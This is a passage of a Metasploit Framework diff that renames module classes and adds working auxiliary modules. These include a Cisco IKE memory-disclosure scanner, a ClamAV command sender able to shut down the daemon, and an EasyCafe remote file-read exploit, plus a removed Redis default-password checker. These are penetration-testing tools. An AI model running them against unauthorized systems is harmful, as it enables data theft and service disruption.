b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb index 51404cbbd1..fa90614818 100644 --- a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'json' require 'nokogiri' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 7f0559721d..b4f21db7cf 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index 001e7a8f7a..736f5256b9 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/xpath.rb b/modules/auxiliary/scanner/http/xpath.rb index 4c6f1bcdfe..8ebe785795 100644 --- a/modules/auxiliary/scanner/http/xpath.rb +++ b/modules/auxiliary/scanner/http/xpath.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index 26e8aa1815..7947f768c2 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/zabbix_login.rb b/modules/auxiliary/scanner/http/zabbix_login.rb index 878b786208..423c1f98d8 100644 --- a/modules/auxiliary/scanner/http/zabbix_login.rb +++ b/modules/auxiliary/scanner/http/zabbix_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/zabbix' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute @@ -153,6 +153,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) end diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb index c50a870fe7..c950811aa6 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb index 095f3b2717..c17adaf2b9 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb new file mode 100644 index 0000000000..c5d8369a85 --- /dev/null +++ b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco IKE Information Disclosure', + 'Description' => %q{ + A vulnerability in Internet Key Exchange version 1 (IKEv1) packet + processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software + could allow an unauthenticated, remote attacker to retrieve memory + contents, which could lead to the disclosure of confidential information. + + The vulnerability is due to insufficient condition checks in the part + of the code that handles IKEv1 security negotiation requests. + An attacker could exploit this vulnerability by sending a crafted IKEv1 + packet to an affected device configured to accept IKEv1 security + negotiation requests. A successful exploit could allow the attacker + to retrieve memory contents, which could lead to the disclosure of + confidential information. + }, + 'Author' => [ 'Nixawk' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-6415' ], + [ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ], + [ 'URL', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415' ], + [ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ] + ], + 'DisclosureDate' => 'Sep 29 2016' + )) + + register_options( + [ + Opt::RPORT(500), + OptPath.new('PACKETFILE', + [ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ]) + ], self.class) + end + + def run_host(ip) + begin + isakmp_pkt = File.read(datastore['PACKETFILE']) + peer = "#{ip}:#{datastore['RPORT']}" + + udp_sock = Rex::Socket::Udp.create( + { + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + } + ) + + add_socket(udp_sock) + + udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i) + res = udp_sock.get(3) + return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data... + + # Convert non-printable characters to periods + printable_data = res.gsub(/[^[:print:]]/, '.') + + # Show abbreviated data + vprint_status("Printable info leaked:\n#{printable_data}") + + chars = res.unpack('C*') + len = (chars[30].to_s(16) + chars[31].to_s(16)).hex + + return if len <= 0 + print_good("#{peer} - IKE response with leak") + report_vuln({ + :host => ip, + :port => datastore['RPORT'], + :proto => 'udp', + :name => self.name, + :refs => self.references, + :info => "Vulnerable to Cisco IKE Information Disclosure" + }) + + # NETWORK may return the same packet data. + return if res.length < 2500 + pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length]) + res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length]) + + print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5 + rescue + ensure + udp_sock.close + end + end + +end diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index 74ff3e3e3f..9999280be5 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Imap include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb index aa3e1a9244..206908b32f 100644 --- a/modules/auxiliary/scanner/ip/ipidseq.rb +++ b/modules/auxiliary/scanner/ip/ipidseq.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'timeout' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index abc8d604bd..a8e64e9258 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/ipmi' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index c6d1f16d8e..6627284b08 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/ipmi' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ipmi/ipmi_version.rb b/modules/auxiliary/scanner/ipmi/ipmi_version.rb index 0c497970b6..ca209d0b99 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_version.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_version.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/ipmi' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb b/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb new file mode 100644 index 0000000000..b145a28fbc --- /dev/null +++ b/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb @@ -0,0 +1,76 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Jenkins Server Broadcast Enumeration', + 'Description' => %q( + This module sends out a udp broadcast packet querying for + any Jenkins servers on the local network. + Be advised that while this module does not identify the + port on which Jenkins is running, the default port for + Jenkins is 8080. + ), + 'Author' => + [ + 'Adam Compton ', + 'Matt Schmidt ' + ], + 'References' => + [ + [ 'URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Auto-discovering+Jenkins+on+the+network' ] + ], + 'License' => MSF_LICENSE + ) + ) + deregister_options('RHOST', 'RPORT') + end + + def parse_reply(pkt) + # if empty packet, exit + return unless pkt[1] + + # strip to just the IPv4 address + if pkt[1] =~ /^::ffff:/ + pkt[1] = pkt[1].sub(/^::ffff:/, '') + end + + # check for and extract the version string + ver = pkt[0].scan(/version>(.*)<\/version/i).flatten.first + + # if a version was identified, then out and store to DB + if ver + print_status("#{pkt[1]} - Found Jenkins Server #{ver} Version") + report_host( + host: pkt[1], + info: "Jenkins v.#{ver} (port typically 8080)" + ) + end + end + + def run + print_status('Sending Jenkins UDP Broadcast Probe ...') + + udp_sock = connect_udp + + udp_sock.sendto('\n', '255.255.255.255', 33848, 0) + + # loop a few times to account for multiple or slow responders + iter = 0 + while (r = udp_sock.recvfrom(65535, 0.1)) && (iter < 20) + parse_reply(r) + iter += 1 + end + end +end diff --git a/modules/auxiliary/scanner/kademlia/server_info.rb b/modules/auxiliary/scanner/kademlia/server_info.rb index 0f1c4508df..2eaf5ce94b 100644 --- a/modules/auxiliary/scanner/kademlia/server_info.rb +++ b/modules/auxiliary/scanner/kademlia/server_info.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::Kademlia diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 74a8687efb..a09506761e 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::LLMNR diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 19a35e271d..7c4b0c7d2c 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index c3e9ac94a5..ba3eef232a 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index 6df88ba9ee..f0c187ef91 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 4412818e31..507192479f 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::MDNS diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index 2a1337914a..bede37a4c5 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/misc/clamav_control.rb b/modules/auxiliary/scanner/misc/clamav_control.rb new file mode 100644 index 0000000000..a5cea19516 --- /dev/null +++ b/modules/auxiliary/scanner/misc/clamav_control.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ClamAV Remote Command Transmitter', + 'Description' => %q( + In certain configurations, ClamAV will bind to all addresses and listen for commands. + This module sends properly-formatted commands to the ClamAV daemon if it is in such a + configuration. + ), + 'Author' => [ + 'Alejandro Hdeza', # DISCOVER + 'bwatters-r7', # MODULE + 'wvu' # GUIDANCE + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ], + [ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ] + ], + 'DisclosureDate' => 'Jun 8 2016', + 'Actions' => [ + [ 'VERSION', 'Description' => 'Get Version Information' ], + [ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ] + ], + 'DefaultAction' => 'VERSION' + ) + ) + register_options( + [ + Opt::RPORT(3310) + ], self.class + ) + end + + def run_host(_ip) + begin + connect + sock.put(action.name + "\n") + print_good(sock.get_once) + rescue EOFError + print_good('Successfully shut down ClamAV Service') + ensure + disconnect + end + end +end diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 310d4c4fd5..e2cf2b7936 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -1,4 +1,4 @@ -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -8,8 +8,8 @@ class Metasploit3 < Msf::Auxiliary 'Name' => %q(Dahua DVR Auth Bypass Scanner), 'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs), 'Author' => [ + 'Tyler Bennett - Talos Consulting', # Metasploit module 'Jake Reynolds - Depth Security', # Vulnerability Discoverer - 'Tyler Bennett - Talos Infosec', # Metasploit Module 'Jon Hart ', # improved metasploit module 'Nathan McBride' # regex extraordinaire ], @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(DDNS) return unless (response = sock.get_once) data = response.split(/&&[0-1]&&/) - ddns_table = Rex::Ui::Text::Table.new( + ddns_table = Rex::Text::Table.new( 'Header' => 'Dahua DDNS Settings', 'Indent' => 1, 'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password'] @@ -186,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(CHANNELS) data = sock.get_once.split('&&') - channels_table = Rex::Ui::Text::Table.new( + channels_table = Rex::Text::Table.new( 'Header' => 'Dahua Camera Channels', 'Indent' => 1, 'Columns' => ['ID', 'Peer', 'Channels'] @@ -206,7 +206,7 @@ class Metasploit3 < Msf::Auxiliary return unless (response = sock.get_once) data = response.split('&&') usercount = 0 - users_table = Rex::Ui::Text::Table.new( + users_table = Rex::Text::Table.new( 'Header' => 'Dahua Users Hashes and Rights', 'Indent' => 1, 'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description'] @@ -237,7 +237,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(GROUPS) return unless (response = sock.get_once) data = response.split('&&') - groups_table = Rex::Ui::Text::Table.new( + groups_table = Rex::Text::Table.new( 'Header' => 'Dahua groups', 'Indent' => 1, 'Columns' => ['ID', 'Peer', 'Group'] diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index c497a8ff3d..4d5b3fa724 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb new file mode 100644 index 0000000000..b16a4cfc06 --- /dev/null +++ b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EasyCafe Server Remote File Access', + 'Description' => %q{ + This module exploits a file retrieval vulnerability in + EasyCafe Server. The vulnerability can be triggered by + sending a specially crafted packet (opcode 0x43) to the + 831/TCP port. + This module has been successfully tested on EasyCafe Server + version 2.2.14 (Trial mode and Demo mode) on Windows XP SP3 + and Windows 7 SP1. + Note that the server will throw a popup messagebox if the + specified file does not exist. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'R-73eN', # Vulnerability Discovery + 'Brendan Coles ' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '39102' ] + ] + )) + + register_options( + [ + Opt::RPORT(831), + OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts']) + ], self.class) + end + + def get_file + res = sock.get_once + unless res + print_error("Unable to retrieve file due to a timeout.") + return + end + + unless res.length == 261 + print_error("Received a response of an invalid size.") + return + end + + file_size = res.unpack('@256V')[0] + contents = '' + while contents.length < file_size + contents << sock.get_once + end + + print_status("File retrieved successfully (#{contents.length} bytes)!") + contents + end + + def run_host(ip) + file_path = datastore['FILEPATH'] + if file_path.length > 67 + print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.") + return + end + + packet = "\x43" + packet << file_path + packet << "\x00" * (255 - file_path.length) + packet << "\x01\x00\x00\x00\x01" + + vprint_status("Sending request (#{packet.length} bytes)") + connect + sock.put(packet) + + contents = get_file + disconnect + return if contents.nil? + + path = store_loot( + 'easycafe_server', + 'application/octet-stream', + ip, + contents, + File.basename(file_path) + ) + print_status("File saved in: #{path}") + end +end diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb index e50e477f5e..c0a7fc5418 100644 --- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb +++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index f62eb75a58..7601687f18 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/java/serialization' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 44f949da95..8eb2ee4019 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb index 39a58fb004..110244aa82 100644 --- a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb +++ b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index 9f0c275fd7..8c43197c72 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/misc/redis_server.rb b/modules/auxiliary/scanner/misc/redis_server.rb deleted file mode 100644 index 1dd600d8eb..0000000000 --- a/modules/auxiliary/scanner/misc/redis_server.rb +++ /dev/null @@ -1,84 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Module::Deprecated - deprecated(Date.new(2016, 3, 5), 'auxiliary/scanner/redis/redis_server') - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::Tcp - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Redis-server Scanner', - 'Description' => %q{ - This module scans for Redis server. By default Redis has no auth. If auth - (password only) is used, it is then possible to execute a brute force attack on - the server. This scanner will find open or password protected Redis servers and - report back the server information - }, - 'Author' => [ 'iallison ' ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - Opt::RPORT(6379), - ], self.class) - - deregister_options('RHOST') - end - - def run_host(ip) - print_status("Scanning IP: #{ip.to_s}") - begin - pkt = "PING\r\n" - connect - sock.put(pkt) - res = sock.get_once - - if res =~ /PONG/ - info = "INFO\r\n" - sock.put(info) - data = sock.get_once - print_status("Redis Server Information #{data}") - data_sanitized = data.to_s - elsif res =~ /ERR/ - auth = "AUTH foobared\r\n" - sock.put(auth) - data = sock.get_once - print_status("Response: #{data.chop}") - if data =~ /\-ERR\sinvalid\spassword/ - print_status("Redis server is using AUTH") - else - print_good("Redis server is using the default password of foobared") - report_note( - :host => rhost, - :port => rport, - :type => 'password', - :data => 'foobared' - ) - end - else - print_error "#{ip} does not have a Redis server" - end - - report_service( - :host => rhost, - :port => rport, - :name => "redis server", - :info => data_sanitized - ) - - disconnect - - rescue ::Exception => e - print_error "Unable to connect: #{e.to_s}" - end - end -end diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index e77aaa2c1e..b364568cd3 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb index d52870235d..8b9ecfc9cb 100644 --- a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb +++ b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index 04900cde94..0db2dedd06 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SunRPC include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary return if maps.empty? vprint_good("Found #{maps.size} programs available") - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "SunRPC Programs for #{ip}", 'Indent' => 1, 'Columns' => %w(Name Number Version Port Protocol) diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb index 3fbd8b36c1..25bf30368e 100644 --- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index e8091b4b1b..5240dc8767 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb 